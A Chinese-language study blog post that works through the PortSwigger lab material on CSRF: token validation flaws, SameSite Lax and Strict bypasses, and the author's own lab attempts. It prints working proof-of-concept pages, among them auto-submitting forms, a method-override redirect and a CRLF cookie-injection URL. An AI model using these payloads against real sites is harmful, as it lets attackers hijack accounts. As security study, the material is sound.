0%

Cross-site request forgery(CSRF)跨站请求伪造

我看了PwnFunction和liveoverflow的视频,结果发现我接受不了:一方面是虽然我英语水平能听懂,但是很多时候都是努力去听,理解就没大有脑子了;另一方面,我觉得还是我不大适应网课这种获取知识的形式。

What is CSRF?

CSRF允许攻击者诱导用户执行他们并不想做的行为。

It allows an attacker to partly circumvent the same origin policy

这个“绕过”用的非常好,因为(我从上述视频里了解到的),CSRF并没有违反同源策略,恶意网站发出了request,但是并没有收到response(收到了就违反了)。

What is the impact of a CSRF attack?

上述不想做的行为就包括:改邮箱,改密码,转账(?这能做到?how?)。攻击者甚至能够获得对用户账户的完全控制。如果是高权限账户的话,攻击者就相当于控制web 应用了。

How does CSRF work?

CSRF攻击有三个必要条件:

  1. A relevant action. 应用中存在,攻击者想引诱,用户去做,的操作。可能是特权操作(改变别的用户的权限),或者是针对用户数据的操作(改变用户的密码)

  2. Cookie-based session handling.应用仅靠session cookies来鉴别request的发送者,没有其它机制。

    他在后文中提到,不仅仅是 Cookie-based ,it also arises in other contexts where the application automatically adds some user credentials to requests, such as HTTP Basic authentication and certificate-based authentication.

  3. 没有攻击者无法猜测/决定的request parameters。比方说,改密码时要验证旧密码,这种情况攻击者就无从下手了。
    举例:

    1
    2
    3
    4
    5
    6
    7
    POST /email/change HTTP/1.1 
    Host: vulnerable-website.com
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 30
    Cookie: session=yvthwsztyeQkAPzeQ5gHgTvlyxHfsAfE

    email=wiener@normal-user.com

    这就符合CSRF的条件:

  • 改变用户的邮箱。攻击者可以用来重置密码,等等。
  • application只用session cookie来鉴别request发送者。
  • 攻击者可以简单地确定request parameters。
    相应地evil page就可以是这样:
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    <html>
    <body>
    <form action="https://vulnerable-website.com/email/change" method="POST">
    <input type="hidden" name="email" value="pwned@evil-user.net" />
    </form>
    <script>
    document.forms[0].submit();
    </script>
    </body>
    </html>
    这里也提到一个防御机制 SameSite cookies

How to construct a CSRF attack

他说手工构造会很累,特别是参数多的时候,或者是other quirks in the request的情况。所以他就推荐Burp Suite Pro里的CSRF POC generator。emmm,我的评价是:它作为一个公司做的教程,唯一的不足之处可能是这一点。没有去教说怎么自己写工具,而是去推荐自己的工具。世间难有十全十美的东西,可以理解。

现在我很好奇,他这个lab是怎么做?

Lab: CSRF vulnerability with no defenses

哦,他给了个exploit Server

  1. 但是看起来还是怪怪的,是直接用exploit server那边吗?
  2. 没大懂,它为什么craft a respoonse
  3. 看了题解视频,我生成poc是对的,但是我把Server那边改乱了,导致出不来?很疑惑,明白这个Server的作用。
  4. 把exploit Server上参数改回去,就没了,解决了(?
  5. 我觉得这个lab做的不好

How to deliver a CSRF exploit

这里提到CSRF的“投放”机制与反射型XSS本质上差不多。

只能说解答了我的疑惑,为什么这俩这么像。

  1. 攻击者可能会同通过邮件/社交媒体信息引诱受害者访问,包含恶意HTML的网站
  2. 或者是,攻击者把恶意代码放在一个热门的网站中(比方说放在评论中),再等待用户访问。
  3. 一些简单的CSRF漏洞利用,会使用GET方法。这种情况下,攻击者甚至都不需要外部网站,只需要直接“feed”受害者一个,存在漏洞的相应域名的恶意URL,就可以了。
    1
    <img src="https://vulnerable-website.com/email/change?email=pwned@evil-user.net">

    [[XSS vs CSRF]] ,简单地说CSRF和反射型XSS还是比较像的,XSS一般比CSRF危害大多了。但是CSRF token只能防住它这里的反射型XSS,别地儿防不住,页面上有XSS防不住,存储型那更是防不住。

Common defences against CSRF

  • CSRF tokens 服务端生成,分享给客户端,不可预测。执行敏感操作时,就要检验request中的CSRF token。给攻击者构建request上强度。
  • SameSite cookies[[白帽子讲Web安全]] 浏览器安全机制,用来决定向其它网站的请求是否包含cookies。恰当的SameSite 限制可以避免攻击者跨站执行敏感操作。2021年起,chrome强制使用Lax(?)SameSite限制。
  • Referer-based validation 验证referer头来防御CSRF攻击,不如CSRF token有效。我记得白帽子讲Web安全还专门提了一句,不要忽略referer为空的情况。
    这些防御措施也可能被绕过。

Bypassing CSRF token validation

What is a CSRF token?

这里解答了我的疑惑,怎么share CSRF tokens with the client

方法就是把CSRF tokens放到HTML form中作为一个隐藏参数。

1
2
3
4
5
6
<form name="change-email-form" action="/my-account/change-email" method="POST">
<label>Email</label>
<input required type="email" name="email" value="example@normal-website.com">
<input required type="hidden" name="csrf" value="50FaWgdOhi9M9wyna8taR1k3ODOR8d6u">
<button class='button' type='submit'> Update email </button>
</form>

这CSRF tokens防御的原理很简单,就是给攻击者“construct a valid request”上强度。

这里Note提到,CSRF tokens的传送方式,显著地影响整个机制的安全性。 How to prevent CSRF vulnerabilities

Common flaws in CSRF token validation

Validation of CSRF token depends on request method

有些应用会在GET方法时忽略token的校验(?,哥们,图啥啊)。所以就可以同通过使用GET方法绕过校验,进行CSRF攻击。

Lab: CSRF where token validation depends on request method

很常规,直接送去CSRF Poc generator即可。注意是修改邮箱地址,所以要对邮箱地址有适当修改,不能和原有邮箱地址相同。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>

<form action="https://0a0700170422165c84a237d4006f001a.web-security-academy.net/my-account/change-email" method="GET">
<input type="hidden" name="email" value="1&#64;2&#46;com" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>

Validation of CSRF token depends on token being present

有些应用token存在时校验,token漏了就不校验了(?铁铁,你在干什么?)

这种情况,攻击者把整个参数移除(不是仅仅移除token)就可以bypass

Lab: CSRF where token validation depends on token being present

1
2
3
4
5
6
7
8
9
10
11
12
13
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<form action="https://0aa0003b03af321983ab79c500c400e5.web-security-academy.net/my-account/change-email" method="POST">
<input type="hidden" name="email" value="1&#64;1&#46;cn" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>

?,我觉得之前几个topic的lab都不错,怎么这个?这做的有什么意义?
做得怪快倒是

CSRF token is not tied to the user session

一些应用不校验token跟session是不是属于同个用户,只是看是不是在global pool里。(这几种情况我是觉得太炸裂了)

这种情况,攻击者就可以用他们自己账户的token实施CSRF攻击。

Lab: CSRF where token is not tied to user session

  1. 通过这个lab,我大致弄明白这边exploit server是怎么回事了。他是为了让你方便,所以有个deliver to victim
  2. 但是这个lab一直没做成功,总是报错invalid token。我是开了一个窗口,一个隐身窗口。隐身窗口通过看HTML得到csrf token value,然后改另一个窗口的exploit server。
  3. 看了solution,明白问题了。题解中的做法是intercept 一个request,复制token后drop掉。我没有,我是通过history复制的,所以我复制的token实际上已经不在pool里了。
  4. 成功解决!

一些应用通过”tie the CSRF token to a cookie”防御上述漏洞,但是这个cookie跟用来跟踪sessions的cookie不是同一个。特别是用了两种不同的frameworks时会出现这种情况。

1
2
3
4
5
6
7
POST /email/change HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 68
Cookie: session=pSJYSScWKpmC60LpFOAHKixuFuM4uXWF; csrfKey=rZHCnSzEp8dbI6atzagGoSYyqJqTz5dv

csrf=RhV7yQDO0xcq9gLEah2WVbmuFqyOq7tY&email=wiener@normal-user.com

这种情况虽然很难exploit但是也是存在漏洞的。如果页面存在,可以让攻击者在受害者的浏览器中设置cookie的行为,就可以实现攻击。

攻击者可以:

  1. 用他们自己的账号登陆,获得一个有效的token和相关的cookie
  2. 利用cookie-settting行为把受害者浏览器中的cookie改成他们的
  3. CSRF攻击中就可以用他们的token了

这种情况就是site's session handling system有漏洞。

  1. intercept得到一组cookietoken
    1
    2
    3
    Cookie: csrfKey=xxnYPFByhcRayErdOKa5gpY1MCxNrrjY; session=hlh2fxWCm6vtUYG9tAay9Bwqz5PGJhwg

    email=123%40cn.cn&csrf=sofdIKHTllw9IIkSiH0OmVC6p0I5uGgj
  2. 登陆另一个账号一看,页面cookie中session值变了,结果csrfkey没变?省的我改了?
  3. 但是那他这个跟哪个cookie是联系的呢?应该是csrfkey把,不大可能是session那个
  4. 成功改了carlos的邮件地址,但是怎么lab Not solved?
  5. 看了题解
  6. 题解中指出,把”update email“的request送去Repeater,就会发现改变sessioncookie会导致登出,改变csrfKey会导致CSRF token 被拒绝,显示二者才是相联系的。
  7. Back in the original browser, perform a search, send the resulting request to Burp Repeater, and observe that the search term gets reflected in the Set-Cookie header. Since the search function has no CSRF protection, you can use this to inject cookies into the victim user’s browser.

  8. Create a URL that uses this vulnerability to inject your csrfKey cookie into the victim’s browser:/?search=test%0d%0aSet-Cookie:%20csrfKey=YOUR-KEY%3b%20SameSite=None在访问这个URL之后,就可以设置相应的csrfKey

  9. Remove the auto-submit <script> block, and instead add the following code to inject the cookie:<img src="https://YOUR-LAB-ID.web-security-academy.net/?search=test%0d%0aSet-Cookie:%20csrfKey=YOUR-KEY%3b%20SameSite=None" onerror="document.forms[0].submit()">

  10. 灰常复杂啊
  11. 也没有做成功,看了视频,好像是要和上一个lab一样drop掉发送的包,来保持csrf token 有效(?
  12. 获得cookie:
    1
    2
    3
    Cookie: csrfKey=0fZX8oTxa8mv114Ng4C0zol1JNsXSbUK; LastSearchTerm=test; session=Hjkrsvh9Kll8HlMUfbFtgY2vDYDGcMLc

    email=1%403.com&csrf=UMnkihPvgGFpIxvQ5YH1jeoUFyBPtaeL
  13. 做完了,最后body如下:
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34

    CSRF where token is tied to non-session cookie
    Back to lab description
    LAB
    Solved

    Congratulations, you solved the lab!
    Share your skills! Continue learning
    This is your server. You can use the form below to save an exploit, and send it to the victim.

    Please note that the victim uses Google Chrome. When you test your exploit against yourself, we recommend using Burp's Browser or Chrome.

    Craft a response
    URL: https://exploit-0a5900ef038eda50807d02ea01cb0090.exploit-server.net/exploit

    HTTPS

    File:
    /exploit
    Head:
    HTTP/1.1 200 OK
    Content-Type: text/html; charset=utf-8
    Body:
    <html>
    <!-- CSRF PoC - generated by Burp Suite Professional -->
    <body>
    <form action="https://0a7700d2035ada7180ec03c100100083.web-security-academy.net/my-account/change-email" method="POST">
    <input type="hidden" name="email" value="1133&#64;1&#46;cn" />
    <input type="hidden" name="csrf" value="UMnkihPvgGFpIxvQ5YH1jeoUFyBPtaeL" />
    <input type="submit" value="Submit request" />
    </form>
    <img src="https://0a7700d2035ada7180ec03c100100083.web-security-academy.net/?search=test%0d%0aSet-Cookie:%20csrfKey=0fZX8oTxa8mv114Ng4C0zol1JNsXSbUK%3b%20SameSite=None" onerror="document.forms[0].submit()">
    </body>
    </html>
  14. 很不解,cookie中的csrfkey似乎更换账号了也没有变。而且一开始我把url替换成了上述用来注入的url,不行。换成/exploit即可
  15. 很怪很怪,好像YouTube的视频上压根没url注入csrfKey这步?
    这里的Note提到,上述的这种cookie-setting behavior甚至不需要存在于,跟CSRF漏洞所在的,相同的web application中。相同的总DNS域即可,举例:staging.demo.normal-website.comsecure.normal-website.com

有些应用甚至不维护token记录,只是验证cookie和参数中的令牌是否相符。被叫做double submit。比较方便实现。

1
2
3
4
5
6
7
POST /email/change HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 68
Cookie: session=1DQGdzYbOJQzLP7460tfyiv3do7MjyPw; csrf=R8ov2YBfTYmzFyjit8o2hKBuoIjXXVpa

csrf=R8ov2YBfTYmzFyjit8o2hKBuoIjXXVpa&email=wiener@normal-user.com

这种情况,攻击者甚至都不用获得一个有效的token(我理解是,因为服务器没有去维护记录了),只要符合格式就行。然后利用cookie-setting 行为把cookie放到受害者浏览器中,完成CSRF攻击即可。

  1. 这里随便改下浏览器中cookie,和HTML中的value即可。但是问题是邮件地址修改成功,可以还是没有solve,是因为我直接F12改cookie的问题吗?
  2. 可能是,构造相应URL,修改cookie,然后与上一个实验相同。
  3. 不明白为什么这里由<script>变成了<img src...
  4. 另:其中需要修改的参数较多,不要遗漏。

    GPT 给我的答案是:

    使用 <img> 标签是因为:

    1. <img> 标签会导致浏览器尝试加载一张图片,这时可以利用 src 属性发起一个 GET 请求到目标站点。
    2. 当图片加载失败时(在这种情况下,因为服务器的响应不会是有效的图片),onerror 事件会被触发。
    3. 在 onerror 事件中,可以添加 JavaScript 代码,比如提交一个表单,这样就可以在成功注入 CSRF 令牌后自动发起 CSRF 攻击。

    这种方法不使用 <script> 标签的原因是因为它不需要执行任何复杂的 JavaScript,只是简单地利用了浏览器的行为来设置 cookie 并在错误时提交表单。这是一种更加隐蔽的攻击方式,因为它不涉及直接的脚本执行,而是使用了浏览器解析 HTML 和处理错误时的自然行为。

    这是一个基于 CRLF(回车换行符)注入的漏洞,它允许攻击者在响应中注入额外的头信息。在这个例子中,通过搜索参数 ?search=test%0d%0a,后面跟着的是编码后的 CRLF(%0d%0a),然后是 Set-Cookie: 头,攻击者可以设置一个新的 csrfKey cookie。

怨不得YouTube上的视频我没有看到点击url的部分,这里利用CRLF漏洞实现的注入header。我画蛇添足了属于是。还是因为学艺不精。

Bypassing SameSite cookie restrictions

SameSite is a browser security mechanism that determines when a website’s cookies are included in requests originating from other websites.

SameSite 不仅能够防御CSRF,还能防御cross-site leaks,CORS 漏洞。反正就是多种跨站攻击都能防御。

What is a site in the context of SameSite cookies?

a site is defined as the top-level domain (TLD), usually something like .com or .net, plus one additional level of the domain name. This is often referred to as the TLD+1.

除了顶级域之外,还会考虑URL scheme即协议。

这里的note提到了”effective top-level domain(eTLD)”,就是多个后缀组成的顶级域名,像.co.uk。我还能举出来个.cn.com

What’s the difference between a site and an origin?

origin和site之间还是有区别的:site有多个domain name,而一个origin只有一个。同源( same origin)的条件是:{scheme , domain name , port}这个三元组相同。[[白帽子讲Web安全#5 深入同源策略]],same site的要求就没这么严苛了,只需要判断scheme 和last part of the domain name。这就意味着,cross-origin request 仍然可以是same site,反过来则不对。

网页上也提供了一个表格来展示一些例子。

How does SameSite work?

SameSite机制(?) 允许浏览器和网站所有者限制跨站请求是否包含特定cookies。这就可以保护用户免受CSRF攻击。

主流浏览器都支持如下SameSite 限制级别:

  • Strict
  • Lax
  • None
    开发者可以针对每个cookie设置相应的限制级别
    1
    Set-Cookie: session=0F8tgdOhi9ynR1M9wa3ODa; SameSite=Strict
    虽然这些限制可以提供一些保护,但不是就高枕无忧了。

    Note指出,如果cookie没有显式地设置SameSite,Chrome会默认成Lax
    听他这语气,好像别的浏览器并没有遵循这一点。

Strict

任何跨站请求都不会送。适合持有cookie就可以执行敏感操作的。但是一些情况下会影响用户体验。

Lax

以下条件满足时才会发送cookie:

  • 使用GET方法
  • 请求来自用户的顶级操作,比如:点击一个链接。
    这种情况下,POST请求就不行,background requests也不会包含。

None

就完全没限制了。不使用SameSite机制(?)也是有理由的,比方说cookie就是用来和第三方网站交互,不会赋予持有者敏感操作的权限啦。追踪cookie就是个典型的例子。

When setting a cookie with SameSite=None, the website must also include the Secure attribute
以此来保证cookie只通过https以密文方式传送,否则浏览器不认。

1
Set-Cookie: trackingId=0F8tgdOhi9ynR1M9wa3ODa; SameSite=None; Secure

Bypassing SameSite Lax restrictions using GET requests

即便是使用Lax限制等级,也能够诱导受害者产生GET请求。只要request涉及top-level navigation ,浏览器还是会(在发送请求时)包含受害者的cookie。如下例:

1
2
3
<script>
document.location = 'https://vulnerable-website.com/account/transfer-payment?recipient=hacker&amount=1000000';
</script>

即便是有些情况下不允许GET请求,一些基础组件也能提供一些方式去覆盖“the method specified in the request line”。

举例:Symfony就支持在forms中定义_method参数,“which takes precedence over the normal method for routing purposes”

1
2
3
4
5
<form action="https://vulnerable-website.com/account/transfer-payment" method="POST">
<input type="hidden" name="_method" value="GET">
<input type="hidden" name="recipient" value="hacker">
<input type="hidden" name="amount" value="1000000">
</form>

Lab: SameSite Lax bypass via method override

  1. emmm,我怎么判断frameworks是否用了Symfony呢?
  2. 先是简单修改了method,结果不行。
  3. 尝试像上例一样添加参数,结果不行,看来瞎碰运气是不行的。
    看了solution,其中指出如下几点:
  • 看了POST /my-account/change-email request注意到没有任何不能预测的token,所以如果能绕过SameSite就能实现CSRF攻击。
  • 看了response to your POST /login request , 也没显式地指明限制等级,所以默认使用Lax
  • Recognize that this means the session cookie will be sent in cross-site GET requests, as long as they involve a top-level navigation.
  • 题解中也是指出,先发送GET请求,结果发现服务端只允许POST请求。尝试去添加_method参数:
    1
    GET /my-account/change-email?email=foo%40web-security-academy.net&_method=POST HTTP/1.1
  • 发送后发现成功修改邮件地址,证明可行。
  • 最后的payload是这样的:
    1
    2
    3
    <script>
    document.location = "https://YOUR-LAB-ID.web-security-academy.net/my-account/change-email?email=pwned@web-security-academy.net&_method=POST";
    </script>

Bypassing SameSite restrictions using on-site gadgets

在cookies被设置成SameSite=Strict情况下,”You may be able to get around this limitation if you can find a gadget that results in a secondary request within the same site.”

这里提到的一个gadget就是a client-side redirect,它会使用攻击者输入,像URL参数,动态地构建重定向的目标。

但是这些服务端的重定向,会被视为常规的,单独的request。重点是,这是same-site 请求,并且会包含cookies,而不考虑限制。

但是server-side 重定向是没办法实现上述bypass的,这种情况下请求就得遵循跨站重定向规则,所以还是有cookie限制。

Lab: SameSite Strict bypass via client-side redirect

这个利用流程较为复杂,而且我对于“Identify a suitable gadget”毫无头绪。它这个整个判断的流程,让我很是迷惑。

Bypassing SameSite restrictions via vulnerable sibling domains

这里又再次提到,尽管一个请求是cross-origin,它也可能是same-site的。

这里就是强调要考虑整个可能的攻击面,包括各种旁站(sibling domains)。不然,一些能够诱导产生任意次要请求的漏洞,就可能完全地损害site-based defenses,让整个网站都暴露在跨站攻击之下。

同时还提到,如果目标站点支持WebSockets,也可能存在,cross-site WebSocket hijacking (CSWSH)漏洞,这里说,这个玩意本质上就是“a CSRF attack targeting a WebSocket handshake”

Lab: SameSite Strict bypass via sibling domain

This lab’s live chat feature is vulnerable to cross-site WebSocket hijacking (CSWSH).

emmmm,再议吧。

Bypassing SameSite Lax restrictions with newly issued cookies

“Cookies with Lax SameSite restrictions aren’t normally sent in any cross-site POST requests, but there are some exceptions.”

这里提到chrome,(为了兼容旧问题,我猜的?),为了避免破坏single sign-on(SSO)机制,在最开始的120秒对于top-level POST requests 实际上不会强制限制。这就有两分钟的“窗口”,用户可能遭到跨站攻击。

这里的Note提到,如果显式地设置了SameSite=Lax,是没有这两分钟的。

接下来,就涉及到刷新cookies和认证相关工作,没大看懂。我想,至此,CSRF部分结束。